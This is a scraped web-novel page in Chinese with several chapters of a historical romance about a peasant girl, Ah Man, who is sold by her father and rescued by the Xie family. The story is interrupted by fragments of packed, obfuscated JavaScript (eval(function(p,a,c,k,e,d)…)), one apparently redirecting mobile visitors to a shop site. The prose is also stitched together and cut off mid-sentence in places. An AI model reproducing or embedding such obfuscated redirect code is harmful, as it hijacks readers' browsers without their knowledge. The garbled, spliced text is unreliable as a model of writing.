l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058074|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,沉声吩咐:“回去。” “为什么?”谢玉桃急了,不干了,“姐姐真的很好,就算,就算她的阿父不好,但她是她,和她阿父没关系。” “怎么没关系?”谢玉照冷声反驳,“龙生龙,凤生凤,老鼠的儿子会打洞,她是崔裕凭的种,你凭什么认为她和崔裕凭没关系?” “你和兄长就不像阿父!”谢玉桃大声反驳,她脸上挂着泪珠,“你和兄长不像阿父!” 她说了两遍,让谢玉照沉默了下来,只是神色不改阴沉冷酷。 他仍未撤回命令。 谢玉桃不高兴了,可是她是世家小娘子,天然不会哭闹,就算伤心了,也只是默默地坐在那儿垂泪。 谢玉照说:“你怎么能那么笃定我和兄长不会成为阿父那样混蛋,毕竟……” 可是目光触及到了小娘子的眼泪,他终究还是不忍继续说下去。 车厢内安静得令人难受,外头却忽然吵闹起来。谢玉照无法面对哭泣的小娘子,索性撩起帘子往外看去。 就见数十位豪仆小跑着簇拥一辆马车自后方驶来,马车行进得速度不慢,好似赶着去投胎,谢家的马车正好挡住去路,那车夫没看到徽印,以为是寻常富户,竟然直接扬起鞭子抽将过来,鞭声沉闷地打在厢壁上发出令人心惊胆战的声响。 谢家的马车何时需要给其他马车让路?何况见这个车夫都这般嚣张跋扈,可见主家平日里横行霸道惯了,谢玉照拧了拧手腕上的骨头,便掀帘而出,跃上车顶。 阿蛮头发散乱,脸颊上印着清晰的巴掌印,嘴巴里塞了布团,被反剪了手捆起来扔在车上,与她同车的正是那老翁。 他离她好近,近到阿蛮能清楚地看清他脸上每块老年斑的形状,嗅到从他身上散发出来的腐朽的老人味。 阿蛮愤怒地瞪着他,老翁却不在意,伸出枯瘦的手去摸她的脸:“你说你,反正注定是我的人,何必挣扎?你看,挨打了不是?” 就算阿蛮手脚不便,但仍然拼尽全力躲避老翁,这再次惹怒了作威作福惯了的老翁,他一把抓起阿蛮的头发,不顾她的头皮都被扯疼了,把她拖到眼前。 他面露凶光:“听着,小小的闹个脾气是调/情,但你要继续这么不知好歹下去,等我睡你几夜,够本了,就把你送人。” 阿蛮惊恐地看着她。 老翁笑起来,方才的凶狠不见了,又换上了温柔的皮囊:“别怕,只要你乖,我就不把你送人,也不叫你出去招待客人,让你舒舒服服地留在我身边伺候我,过几年好日子。” 她便知道,她便知道!任一个女郎再如花似玉,在人命草芥的乱世,若无猫腻,怎么可能卖出五千两的高价? 这老翁愿意买她,不是色令智昏,而是有利可图。 她这样算什么?嫁人不像嫁人,姬妾不似姬妾,奴婢不是奴婢,竟然成了卖身的花娘吗? 富户高墙森严,又畜养了奴仆打手,阿蛮怎么可能轻易逃出?她简直绝望。 就在这时,车外忽然响起乱糟糟的惊呼声,喝骂声,九节鞭劈空而来,竟然直接破开车门。 谢玉照凝神望内,等看清了里头的场景,脸色顿时大变:“你竟还强抢民女?” 8. 08 老翁怒道:“竟敢袭击老夫的车驾,小子,谁给你的胆子?”他喝令豪仆,“你们还愣着做什么?” 谢玉照瞥了眼因生出希望而满含泪水的阿蛮,捏紧鞭把:“等我。” 他抡起九节鞭,甩向以他为中心,从四面向他扑过来的豪仆,镖头准确狠辣地抽出令人胆寒的声响,不过少顷,那些豪仆纷纷倒下,在地上不住地哭号。 谢玉照漠然绕过他们,抬步登上老翁的马车,老翁尚在车门前挡着,见他打伤完所有豪仆后,以遇鬼杀鬼的气势向自己逼近,老翁恐惧不已,他做惯了欺弱凌小的事,太知道若是这时候处于下风了,将会面对什么。 果然,下一刻谢玉照就将九节鞭甩在他脖颈上,一手握住鞭把,一手拧住鞭头,用绕起来的梅花响环缠住他的脖颈,手上用力,老翁顿时喘不过气来。 谢玉照凶神恶煞地问:“好大的口气,不知阁下是何许人,敢在陈郡谢家面前撒野。” 听到陈郡谢家的称号,老翁被绞紧的喉咙发出嗬嗬的声音,他宁可此时是被个恶匪劫道,就算真被杀了,他也认了,总好过遇上陈郡谢家。 谢玉照厌恶地皱起眉头,他松开手,老翁顿时身体一软滑落在地,谢玉照顺手就用九节鞭将他锁了起来,丢下马车。 他方才那般只是为了泄愤,这个人该当何罪,还是得拎到官署叫人去审过再判。 这时,谢玉照才将目光投向马车里的女郎,此刻她的眼眶中还蓄着摇摇欲坠的盈盈泪水,但情绪已经平稳下来,迎上他的目光时,竟然还有气性用肩膀抵着车板,靠自己撑起来。 谢玉照弯腰跨步进去,沉默地替她解去绳索,扯掉布团,他道:“我不会再叫这人来伤你,你放心家去吧。” 女郎半披着发,大半容颜都被头发遮挡住了,加上她有意垂下脸,避开谢玉照的目光,因此谢玉照没有看清她的眼神。 他已打算起身离开,忽听身后的女郎轻声道:“可否请郎君替我搜寻出‘聘书’?就在那人身上。” 谢玉照皱了下眉:“你是被家人卖给他的?”但他只是问了下,无意探听他人的隐私。 阿蛮抬起脸时,谢玉照已经起身下去了。 她赶紧甩了甩因为被绑太久而已经麻木不能动的四肢,静静等着手脚恢复知觉后,才下了马车。 谢玉照已经从老翁身上搜出‘聘书’,他背对阿蛮站着,久久地看着那份‘聘书’,垂在一侧的手捏成个拳头。 “姐姐!”方才被护到后面的谢玉桃此刻也挣脱开侍女,朝她奔来。 谢玉照猛然回身,疾步走向阿蛮,死死地盯着她:“你是崔裕凭的女儿?” 阿蛮被吓了一跳,分不清谢玉照脸上的神色究竟是什么意思,赶紧退后一步。 恨崔裕凭,所以也连带地恨她? 阿蛮不得不开始担心她是否会刚出狼窝又入虎穴。 谢玉照盯着她,双目赤红,呼吸粗重:“是崔裕凭卖了你?” 阿蛮赶紧点头。 谢玉照深吸了口气,他抬脚往停靠在旁的马车踹去,马被惊到,发出嘶声。 “这个畜生。”他咬牙切齿。 阿蛮缩了缩脖颈。 谢玉照不再看她,而是沉声吩咐道:“再赶辆马车来接十八娘和这位小娘子。” 阿蛮吃惊,抬起脸,她迟疑地问:“郎君是要我去官署做口供吗?” 谢玉照硬邦邦地道:“不把你接走,将你放回去,叫崔裕凭在你身上再赚个五千两银子吗?”他冷笑,“这世上不会有这么一本万利的买卖,我绝无可能让这个畜生如意。” 阿蛮不敢说话了,她垂着眼跟着谢玉桃上了新赶来的马车。还好小娘子待她如初,一直紧紧地握着她的手,才叫她稍微感到些心安。 * 谢玉照骑着从马车上卸下来的马,扛着老翁,飞驰向郡府衙署。 他虽无官职,可有个被封为文信侯、监督四州兵马的兄长,衙署的官员自上到下,对他颇为殷勤,见他带了犯人来,便立刻加班加点地将案子审清楚了。 此案案情清晰明了,难点在于如何给这老翁定罪,崔裕凭与老翁间有在官署签订的婚书为证,也换过庚帖,下过聘,是符合婚嫁的流程的,区别只在于阿蛮不愿出嫁。 可问题就在这儿,按照大雍的律法,婚姻之事,父母之命,纵然子女不愿,父母也能强押着他们上花轿入洞房,哪怕子女又哭又闹,也不会有人觉得父母有罪。 这也是为什么老翁得知谢玉照带他来官署,告的是他强抢民女后,立刻心不慌脸不红,还能厚脸皮地开始大声喊冤。 吓死了,他以为谢玉照是要跟他算冲撞谢家的车驾的账,若是如此,真是有十颗脑袋都不够他砍的。 老翁绝处逢生,得意满满地瞥了眼谢玉照,再料不得谢家竟然会培养出这般呆头呆脑的郎君来。方才他打豪仆时气势凶狠,毫不留情,老翁还以为他不是个善茬,结果出了事,竟然第一反应是跑到官署告状? 真是天真幼稚。 郡守为难地看了眼谢玉照,于大雍律来说,无官身的白衣堂下状告时必须站立,但谢玉照身份尊贵,所以此刻他是坐在那儿,与郡守平视。 他冷淡地看着郡守:“我说了,他在强抢民女。” 郡守忽然打了个激灵。 他怎么也被谢玉照拎着犯人上门的老实举动给迷惑了?这可是谢家的郎君,云州多少官员都是借着谢家起势或者根本就是被谢家提携入朝。 毫不夸张地说,云州的官员根本就是谢家门生。 他怎么能忽视了这点?郡守火速将老翁判了三年徒刑,恭恭敬敬地向谢玉照呈上卷宗。 谢玉照扫了眼面色难看的老翁,收下卷宗,提醒道:“既然判了三年徒刑,就要落实到位,莫叫人以金赎罪。” 郡守赶紧应下,老翁被断了最后的希望,满脸灰白。谢玉照方才满意地起身离开官署。 他快马加鞭赶回了庄子,方从马背上滚来,马倌牵过马,便有人来报:“郎君,阿郎等候多时。” 谢玉则喜洁,谢玉照刚骑了马,赶紧先回去沐浴了,换了身干净的衣裳方才敢去面见谢玉则。 疏月正带着一班侍女候在外听传,见他进来,赶紧迎上去屈膝行礼:“烦郎君稍候,阿郎正在见司仓大人。” 这便是涉及赋税的大事,谢玉照只能耐心地等着,他小声询问疏月:“你可知阿兄唤我是为何事?” 疏月点到为止:“听说十一郎刚带回来位客人。” 谢玉照默了下,他当然没有忘记这件事,只是不曾想到谢玉照竟然会被这种不值一提的小事惊动。 又过了半盏茶功夫,司仓面色凝重地捧着账本出来了,疏月赶紧带着侍女进屋收拾茶盏,添加冰块,过了会儿,方才出来请谢玉照进去。 谢玉照深呼了口气,才抬起步子。 这是座阔深的堂屋,被收拾出来临时用作谢玉则的书房,里面几乎雪洞一般,只分门别类地摆着卷宗,别无陈设。 谢玉则坐于紫檀雕螭案后,批着底下人呈上来的公文。 “阿兄。”谢玉照恭敬道。 谢玉则自小聪慧,对于他来说,一心两用已是家常便饭,因此当下,也是一边批阅繁难的公文,一边询问谢玉照:“今天的事,我需要个解释。” 谢玉照如实道:“她是崔裕凭的女儿,我遇上她时,她正好被崔裕凭卖了五千两银子,我想到阿娘,气不过老天爷总是偏帮他,让他靠着贩卖女郎过上好日子,便出手了。” 直到此刻,谢玉照仍旧觉得这是件小事,因此说得坦荡。 谢玉则在公文上批了个驳字,道:“为何将她接回?” 谢玉照:“我自然不能将她放回去,这不是让崔裕凭可以再卖她一次,多收一次银两吗?” 谢玉则将批好的公文放在一旁,抬起眼,世人眼中潋滟多情的桃花眼,此刻被霜雪覆结,冰冰冷冷的,叫人感觉背后寒气直冒。 谢玉则道:“带回来,然后呢?” 谢玉照自小被谢玉则管教到大,太会听话听音了,他立刻知道自己做错了,尽管他还不知道自己错在哪儿,可谢玉则说他错了就是错了,毕竟谢玉则从来不会出错。 谢玉照冷汗直冒:“我错了,她毕竟是崔裕凭的女儿,我不该把她带回来,应该随便找个宅子安置她。” 他还是只将目光局限于两家的恩怨之中。 谢玉则道:“你未娶,她未嫁,你随便找个宅子安置她,不合适。” 谢玉照语塞,说实话,他没想那么多,那时候他满脑子都被仇恨蒙蔽了。 何况,这还不是他真正闯下的祸。 谢玉则道:“你有没有想过,如果阿父发现了崔阿蛮,崔阿蛮需要面临的会是什么?” 这回谢玉照脸色彻底白了,他终于意识到因为他的仇恨,他可能会害了阿蛮。 尽管在离开庄子的马车上,他还振振有词地对谢玉桃说‘龙生龙’之类的话,可是真等见到阿蛮可怜兮兮地被绑起来,被迫卖身给一个足够做她的祖父的老翁时,谢玉照脑袋里的理智都被炸飞了。 多年前,阿娘也是这般惧怕吧。 在那个时候,他就把阿蛮和崔裕凭分开了。 谢玉照咬住唇:“阿兄我错了,我这就把她送回去。” 谢玉则屈起手指,敲了敲桌面:“买她的人的身份,你查了吗?” 谢玉照很意外救个人居然还需要查这个,陈郡谢家又不怕得罪人,而且他一直以为那就是个好色的老畜生而已。 谢玉则轻皱眉头:“这个时候,你想不起要查买主的身份便罢了,谢玉照,你连官署都去过了,竟然还不记得对方的身份,你就是这么办事的?” 他的语气算不上严厉,只是比平素略重了些,但已足够叫人抬不起头了。 谢玉照赶紧回想,确实怎么也想不出来了,他欲哭无泪:“我好像只记得是个盐商……”他戛然而止,直到此刻才反应过来他犯了个多大的错误。 “我错了,阿兄,我这就折返回去,把人的身份问出来,不,我直接将卷宗带回来给你。” 他性子急,就想告辞,赶紧去要卷宗。 “回来。”谢玉则的语气稍显严厉,“做事总是这般毛毛躁躁。” 谢玉照垂头丧气地站着乖乖挨训。 谢玉则问:“崔阿蛮那里,你打算如何安排?” 这就是来询问他的意见了,可谢玉照此刻还能有什么思绪,他摇了摇头:“我没有主意,但听阿兄安排。” 谢玉则屈指敲了敲桌面:“谢玉照,每个人都要为自己做出的决定承担后果,如今你还 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阿蛮想不明白。 玉郎不是警告过她不要和谢家牵扯上关系吗?也不知此时玉郎是否已经知道她收了钱财后,又恬不知耻地踏进了谢家的 庄子。 如果可以,阿蛮还是想当面与他解释这并非她本愿的。 正这般胡思乱想中,便见一个容颜姣好的侍女赶来,与廊下侍女交谈一番后,廊下侍女进屋:“十八娘子,阿郎身边的令月 来寻崔娘子。” 阿蛮浑身一震,她唯恐这令月是与疏月一般的人物,都是来驱赶她离开庄子的,她不愿在谢玉桃面前丢这个脸,赶紧起身告辞。 谢玉桃不肯:“十一兄叫我带你回来的,他没来找你,你不能走,否则他回来见没了你的影子,又要说我小笨蛋了。” 令月已款步进屋了,对着浑身不自在的阿蛮缓缓屈膝行礼:“崔娘子,阿郎已为你备下客院,请允许奴婢为崔娘子带路。” 备下了客院?竟然不是来赶她的。 阿蛮很意外,她下意识看向谢玉桃,但谢玉桃一团孩子气,正惊喜地问:“三兄是想请阿蛮姐姐往后在我们家里住下吗?” 令月笑容得体地回答谢玉桃的问题:“是的,听说崔娘子正遇到一些难处,阿郎愿意暂时给崔娘子提供避祸之所。” 阿蛮敏感地发现直到现在,谢家也不曾承认双方之间的亲缘关系。但依着谢玉照对崔裕凭的恨意,要谢家承认他们之间的关系显然是很困难的,阿蛮对谢家没有所求,当然也不会太在意这种事。 谢玉则愿意让她暂住庄子,给她提供避祸之所,阿蛮已经很感激他了。 阿蛮道:“我不住这儿,谢谢你,也麻烦你替我与贵主说一声,我还要生活,不可能一辈子总是躲起来。” 没人愿意错过攀附谢家的机会,她竟然拒绝了。令月有些意外,但身为谢玉则的一等侍女,早练出了不动声色的本事。 令月道:“崔娘子可否借一步说话?” 阿蛮点头。 她们走到僻静处,远离了谢玉桃,令月方才开口:“崔娘子大约还不知今日买你的买主是何人,先容奴婢介绍一番。此人是云州有名的大盐商,素来与官宦来往密切。” “几个月前,玉骊夫人溘然仙逝,家翁悲痛欲绝,差点随夫人而去。后有个云游的道人途经云州,家翁得知他有起死回生的手段,便留他在白云观修行,同时疯狂寻找与夫人眉眼相似,或者生辰八字一样的女娘。自那之后不少想巴结家翁的人在各处网罗条件符合的女娘送往谢家。” 令月点到为止,阿蛮脸色煞白。 她没见过崔玉骊,可是从谢玉桃的话中能听出来,她与崔玉骊的样貌一定是很相似的。 而那个老翁确实提过要将她送人的话,虽然不知道是不是要将她送到谢家,可是她这样的面容,若是叫那些蝇营狗苟之辈看到了,必然会生出祸心。 她是有点小聪明,但身单力薄,并没有保护自己的能力。 令月道:“阿郎一直想阻止家翁行厌胜之事,但无奈被个孝字压着,并不顺利。但请崔娘子放心,阿郎既吩咐崔娘子住下,便是打算护住崔娘子了。” 真是峰回路转,绝处逢生,阿蛮感激涕零。 这是谢玉则第二次出手救她了,还有谢玉照,若非他,她就要惨遭那老翁的毒手。 她竟然一下子碰到了两个救她的恩人,想来也是老天爷看她以前命途多舛,实在可怜,才肯对她网开一面。 阿蛮眼角竟有些泪意。 她顺从地跟随令月前往客院,正好遇见来寻她的谢玉照,两人不期而遇,阿蛮短暂一怔便要向前与他道谢,反而是谢玉照阴差阳错差点害了阿蛮,此刻正心虚地避开了她的目光。 他欲盖弥彰询问令月:“阿兄叫你把她带去哪里?” 他这时才反应过来该问一下谢玉则打算如何处理阿蛮,这个人,不能放走,又不能另赁院子别居,谢玉照抓破脑袋都想不出还有什么别的法子助她脱险。 令月道:“阿郎吩咐奴婢收拾间客院给崔娘子住。” 谢玉照愣了一下,呆怔住:“可是阿父很快就要来庄子上了!” 9. 09 谢玉照此言完全出于对阿蛮的担心,他忧心因他的不慎将阿蛮推入深渊,但也确实有些疑惑分明阿兄明知谢规的行踪,为何还要将阿蛮安排在庄子住下。 他并不知晓令月已将谢规欲借人命行厌胜之术告知了阿蛮,令月却着急得很。 阿蛮只是个乡野民女,连字都不识得,自然是见识浅,不明事理,贸然听得谢玉照这话,恐怕已生忧惧之心,若要说服她,应当需要耗费不少口舌。 令月一想到这儿就有些头疼,可这是玉郎吩咐她做的事,令月不愿坏了他事,叫玉郎对她失望。 于是令月只好认命地准备开口,谢玉照却已先一步道:“我并非质疑阿兄的觉醒,崔娘子莫担心,阿兄庇护云州百姓,并非草菅人命之辈。” 令月见谢玉照愿代为浪费这个精力,略松一口气。 阿蛮察觉到谢玉照的态度对她转变了许多,竟然也肯和善平等地与她说话,而不是将她视作催裕凭的附庸,她不清楚这种变化来自何处,有些受宠若惊。 她思索了下,道:“玉郎曾救过我性命,我不疑他。” 谢玉照很满意她得知情识趣,对令月道:“你好生照顾好崔娘子。” 令月应下,心里却很诧异阿蛮的通情达理,她回想了下阿蛮那话,立刻发现阿蛮唤谢玉则为“玉郎”。 玉郎乃百姓赠予谢玉则的美称,是他受百姓爱戴的证据,就连云州的贵女也常这般唤谢玉则。说来奇怪,知道百姓爱戴谢玉则,令月觉得与有荣焉,贵女们如此唤,令月更觉这称呼如良玉润金般,洁白无瑕。 可如今,暗暗/这般唤谢玉则,令月却觉得恶心,仿佛亲眼见到一块美玉落入污泥之中。 她觉得该敲打一下这农女。 将阿蛮送至客院,令月便道:“崔娘子莫要嫌弃这院子,我们的院子比不得你们农家的院子大,也就种了两棵树,养了些花草罢了,没你们那儿的景致好看。” 阿蛮看着眼前这客院,白墙黑瓦,红粉白三色的藤本月季攀在拱门上垂了下来,青砖地水亮亮,院中植着两盈盈翠竹,沿着墙角则种着山茶花。 正屋的门窗开着,阿蛮进入,人未至先闻到清新典雅的香气,屋内陈设古朴,可就连榻几木头上流淌的暗泽的光也在淡淡地提醒着这里虽低调,却不失奢华。 令月却说这里不及农家的院子,阿蛮家的院子就连围墙都是土堆砌起来的,拿什么与这比?自谦过了头便是炫耀了,阿蛮如今也算寄人篱下,她只好顺着令月的话:“我观这儿如仙境般,农家的土屋哪儿比得上这。” 令月听了她这自贬的话才觉满意,她请阿蛮于坐榻上落座,道:“我已听说娘子的处境,此番虽得十一郎相助侥幸逃脱,可崔娘子身边有虎狼环绕,若虎狼饿久了再起歹心,崔娘子恐怕再难有这般的好运。” 她这话刚戳中了阿蛮的心思。 那老翁闯进来命豪仆将她拖走时,将村长一家算在内,只有两人开口为她说话,其余人都冷漠视之。 阿蛮确实与崔裕凭断绝了关系,这事还经谢玉则点头,王家村无人敢反驳,可是他们心底也有顾虑,若王家村真的出了个与阿父断绝关系后还过得很好的阿蛮,叫村中的小儿女看去,他们往后要如何跟他们摆父母的谱,用孝道压制他们听话,乃至卖了他们? 所以他们巴不得阿蛮出事。 何况那老翁带来的婚书上落款的日期早在阿蛮断绝父女关系之前,这事就是传到谢玉则耳朵里,也是他们占理,因此乐得做壁上观。 阿蛮从这些人的眼神里后知后觉地了解了他们的想法,也反应过来就算没有这桩事,他们也不会叫她在村中继续住下去,他们一定会想办法将她k的银子,暂时生活不困难,可是她这张脸给她不停招来祸事,不怀好意的村人,一掷千金的老翁,都叫阿蛮胆寒。 她到底只有十五岁,这辈子还没有走出过王家村,遇到如此困境,她会迷茫,会害怕,也急于安定下来,最好能有个依靠。 阿蛮有这个渴望,却未失去理智,她没有主动接下这话,而是做出洗耳恭听的样子。 令月不知道她的想法,还以为她不曾听明白她的弦外之音,暗叹一句蠢才,话都说到这个地步了还不了解。 令月只好接下去道:“若崔娘子愿意,阿郎可给娘子提供住处,甚至允许娘子以谢家表姑娘的身份在各处走动,谋求姻缘。” 谢玉则的原话非如此,但令月觉得阿蛮最需要的是这个,唯恐她不能理解,于是单将这点挑明了出来:“如此,就算娘子这般的出身,借着这个名头,也能嫁给胥吏为妻。” 在令月看来,阿蛮这种出身贫寒,没有嫁妆的小娘子能嫁给胥吏已是祖宗保佑。 这个提议确实能解阿蛮的燃眉之急,尤其是有了谢家表姑娘的身份,寻常人哪敢欺负她。 阿蛮道:“玉郎如此大恩,可是需要我回报什么?”她迟疑了下道,“民女乃无知村妇,恐怕难堪大任,还请玉郎明示, 否则民女不敢随意应下。” 令月诧异地看着阿蛮,至今她言语里尚未泄露半点风声,她不知道阿蛮是怎么看出来这是场交易的。但更叫她恼火的是,谢玉则开出的条件这般丰厚,阿蛮竟然没有感激涕零地接受,而是选择听过计划后才能做出选择。 怎么,难道还想坐地起价? 令月不高兴阿蛮这个态度,道:“多少人求着给阿郎办事,阿郎都没瞧上,你倒好,还挑三拣四起来,怎么?生怕阿郎欺负你?” 阿蛮张嘴挢舌,她不清楚令月怎会有这般误会,欲要辩解,令月却已沉着脸道:“要你做的事很简单,就是配合阿郎行事,救下那三十位女郎的性命。” 阿蛮假装没看到令月不高兴的样子,继续问:“具体要如何做?” 谢玉则自然不会将具体方略告知令月,但令月不想让阿蛮知晓这个,便拂袖而起:“你问题真多,既不肯答应阿郎,我直 接回了他就是。” 说罢,令月便不顾阿蛮的挽留,径自出门。 阿蛮仍旧不清楚令月不快的原因,她人生地不熟,无处可去,只好暂且坐下等候令月去而复返,将她带出庄子。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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令月回忆前言,觉得自己再无错处,可是谢玉则的反应明明白白说她错了。 疏月想起自己与阿蛮的一面之缘,她那时在马车上也算侮辱过阿蛮,彼时阿蛮的神色不卑不亢,看着不像是贪婪无度之人。 她笑了,提醒令月:“你忘了,阿郎是见过崔娘子的,以阿郎的眼力,他一眼就能看出崔娘子的心性。” 令月怔然,但仍就不服气,崔阿蛮区区农女,能有何心性? 而客院那边阿蛮得知谢玉则要见她,瞬间竟然无措得不知该如何摆放手脚。 她不是初次见谢玉则了,但比起第一次的担忧惧怕外,这一回,阿蛮更多的是局促紧张。 她害怕自己会在谢玉则面前说错话,做错事,露出丑态,叫谢玉则看不起,因此继而有些焦虑。 可是后来再转念一想,就算她这次给谢玉则留下了好印象又能如何? 他们之间的门第差比人和狗之间的区别还大,她于他而言,只是他治下庇护的黎民之一,或许,还是可以交换利益的暂时 伙伴,但交易结束,他们之间的关系也就清零了。 这般一想,阿蛮因要见谢玉则生出的紧张情绪也轻易地平复了下来。 她从容地踏进观堂。 10. 10 谢玉则立于窗前,夏花烂漫,扶落光阴润于肩头,衬得他更是跃金出尘,非凡夫俗子。那双潋滟的桃花眼轻轻将目光落在阿蛮身上,阿蛮察觉到了,脸立刻便红了,手脚有瞬间的无措,为避免失态,她很快错开眼,只敢将目光落于谢玉则的下颌。 这样便不会叫人看出她的害羞。 可很快阿蛮就发现了谢玉则的颌骨窄紧,线条流畅,如温玉般润泽。 就连下颌,谢玉则生得也要比常人要好看。 阿蛮的目光又下移了几寸,轻声道:“民女见过……侯爷。” 她原本想唤玉郎,那原本就是流于民间的美称,可不知怎么,到了谢玉则面前,她有些唤不出口了。 这称谓还是有些亲昵了。 谢玉则道:“请坐。” 立刻便有侍女捧着茶果进来,她们身着罗裙,戴着钗簪,却走动无声,悄声放下盏碟,便很快退去。 观堂内又只剩了两人,阿蛮紧张得能听到自己心跳声,她为了缓解这紧张的氛围,率先开了口:“侯爷寻民女来,可是为了令月所说之事?实话实说,侯爷开的报酬很丰厚,样样切中民女所求,若说民女不曾心动那是假的,但民女有自知之明,能力有限,不敢随意应承,怕坏了侯爷的大事。” 谢玉则道:“我既敢将大事托付于你,便是觉得你能做到。” 出乎意料的肯定让阿蛮动容,她握紧了手,道:“可是侯爷将报酬开得如此丰厚……” 阿蛮自呱呱坠地开始,只在阿娘还没被卖出去前感受过些许爱意,可就算阿娘还在家时,也时常被崔裕凭打骂。一口一个“赔钱货”“你是老子买了的”之类的话,叫年幼的阿蛮逐渐形成了个认识——人需要有价值。 阿娘的价值在崔裕凭看来,就是任劳任怨的老黄牛和给他的暖床,他看不上,便非打即骂,后来遇到银钱不凑手时立刻就把她给卖了。 她比阿娘多了个价值,那就是她年轻,是黄花大闺女,能卖上好价钱,所以崔裕凭让她干苦活,也骂她,但不打她。 旁人如何对待她,取决于从她身上能榨出多少的价值。 她与谢家有上辈子的恩怨,谢玉则也表达过井水不犯河水的意思,好端端的,又如何会肯许下重利,既如此,叫她做的事必然很凶险或者说很难。 她是觉得谢玉则很好看,面对他时,总是忍不住脸红心跳,她或许因那张脸吸引再加上救过她性命的恩情打动,有些喜欢谢玉则。可这点喜欢不足以让她冲昏了脑袋,阿蛮还记得她的命是阿娘用自己护下来的,她得好好地活着。 谢玉则道:“事情你可做,确也有些性命之忧,但我能保你性命。” 阿蛮微微一怔:“非是我?” 谢玉则道:“非是你不可。” 阿蛮心念一动,道:“是因为我的脸吗?我与玉骊夫人很像?” 她忍不住抬起脸,想让谢玉则好好辨看。 头一回见面时,她跪在地上求谢玉则,蓬头垢面,实在不雅观,唯独那双天生的狐狸眼,亮亮的,却少了天生的媚感,反而从中迸发出倔强与傲意,炽热浓烈得仿佛打铁时在千锤百炼下溅出的火星子。 但崔玉骊是江南的雨雾,哀婉凄绝,阿蛮和崔玉骊几乎没有相似之处。 谢玉则道:“不像。” 阿蛮一头雾水地离开了观堂,在檐廊下换上自己的鞋履时,令月正满脸怨恨地看着她,那目光太过露骨,几乎要在阿蛮的身上灼出洞来,她疑惑地转眼看去,视线却刚刚被疏月挡了个正着。 疏月亲自送阿蛮回到客院,还额外拨了两个侍女来伺候阿蛮:“从今往后,崔娘子便是谢府的表姑娘了,除了每季的衣裳首饰外,每月还有份例可拿。” 那两个侍女进来,一个手捧裙裳,一个端着首饰盒子,便要服侍阿蛮去沐浴更衣。 阿蛮不惯人伺候,想要推拒,疏月轻笑:“崔娘子莫客气,世家的规矩向来如此。” 她的未尽之语似乎是,阿蛮若不如此,恐怕会叫人耻笑。 阿蛮身为穷人,身上最宝贵的便是自尊,她只好默许了侍女的伺候。 可到底不舒服,她从没有被人伺候过,当然做不到世家小娘子般把伺候的侍女不当人看,她羞红了脸,克制了又克制,才没有在她们解开自己的衣裳时,推开她们。 结果灰褐色的老土裙裳一落地,露出脂玉般的肌肤时,两个侍女的眼一亮,一怔,继而都红了脸。 崔娘子的身材实在太好了。 她骨架并不大,甚至衬得上玲珑,肉并不多,却很会长,可以说丰腴得恰到好处,何况她的肌肤如牛乳般,白皙嫩滑,触之又有几分软乎。 这般好的身材,就算是给她正经沐浴,也会觉得在占她的便宜。何况崔娘子脸早就红成蘋果了,连带着细长微微下凹的锁骨处的肌肤也微微粉嫩起来,而且这种粉嫩还在继续蔓延着。 就算是伺候惯了人的侍女也忍不住开始脸红。 于是主仆三人很快就默契地完成了这场有些兵荒马乱的沐浴。 疏月还在外头等着。 无他,令月是彻底不中用了,可这是谢玉则的大事,为避免再出现这种因下人的小心思而坏了谢玉则的大事的情况,疏月必须亲自上阵。 她心里略有不满,毕竟她身为谢玉则的一等侍女,平素事本来就多,这便又给她添了桩事不说,而且出了这种情况,素来赏罚分明的谢玉则,必然也要对她降下惩罚。 对此,疏月倒是没什么怨言,谢玉则事忙,即将内宅托付于她,她理当兢兢业业,这次是她没管教好底下的人,理当受罚。就是还要回去束缚底下的人,这又是一桩事。 疏月正思索着她手头那么多的事,究竟该如何排开,便见阿蛮缓步进来。 小娘子雾鬓云鬟,修眉媚眼,嫩脸艳唇,着蜻蜓纹浅碧春罗衫子,腰系团娇纹郁金色绫裙,披春水绿罗帔子,她立在那儿,玉莹光寒,明明是个农女,却未曾被这周身的锦绣縠罗压下去,反而花明丽景,姿丰容颜,仿佛真是哪个世家小娘子。 疏月看了会儿,方起身笑道:“若不知情的外人肯定要将崔娘子当作女君的亲女儿了。” 阿蛮何曾穿过曳地的裙裳,她颇有些不适应地提着裙子小心翼翼地走,就怕不小心踩到裙子后摔倒出了洋相,恰恰是这般造成了误会,疏月见她竟能如此行止有度,面露诧异。 阿蛮没顾上她的诧异,而是顺着她的话问道:“可是侯爷说我不像玉骊夫人。” 疏月先纠正了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢玉桃摇摇头,提起这件事她就既愤怒又哀怨:“阿蛮姐姐不知道,府里的姐姐也好,外府的姐姐也罢,都不是因为喜欢我才与我交好,她们只想借着我找机会能和三兄说话,后来发现靠近我也见不到三兄后,她们便不愿与我玩了。” 谢玉桃越说情绪越低落,最后竟然露出可怜兮兮的神色,阿蛮从认识她起就发现她是个很敏感的小娘子,今见她小小年纪就饱尝孤独之苦,心疼得不得了,她道:“这帮人太坏了,我们是善良的小娘子,才不要跟坏人玩。” 谢玉桃被逗笑了,她亲亲热热地挽着阿蛮:“对,我才不稀罕跟她们玩。” 她眼珠子溜溜地转,忽然想到什么,兴奋起来:“有了,阿蛮姐姐,你不如陪我去上学吧。” 阿蛮怔住:“上学?女娘还能上学?” 谢玉桃道:“不是外头的书院,而是在家塾上学,若是没有阿兄,从前家塾也是不收女娘的,只是,”她撇了撇嘴,“家中的姐妹也不十分珍惜这个机会,她们每日只议论脂粉头面,反而耻笑我捧着书,天天之乎者也的,是个书呆子呢。” 阿蛮很是心动,能认字当然很好,认了字就能看很多书,就能识得许多道理了,但心动归心动,还是有些踌躇的,她羞赧道:“我一个字都不认得,贸然加入,还要先生额外教我,不知会不会给先生添麻烦。” 谢玉桃立刻挺起胸膛:“无妨,有我在,我能教姐姐认字。” 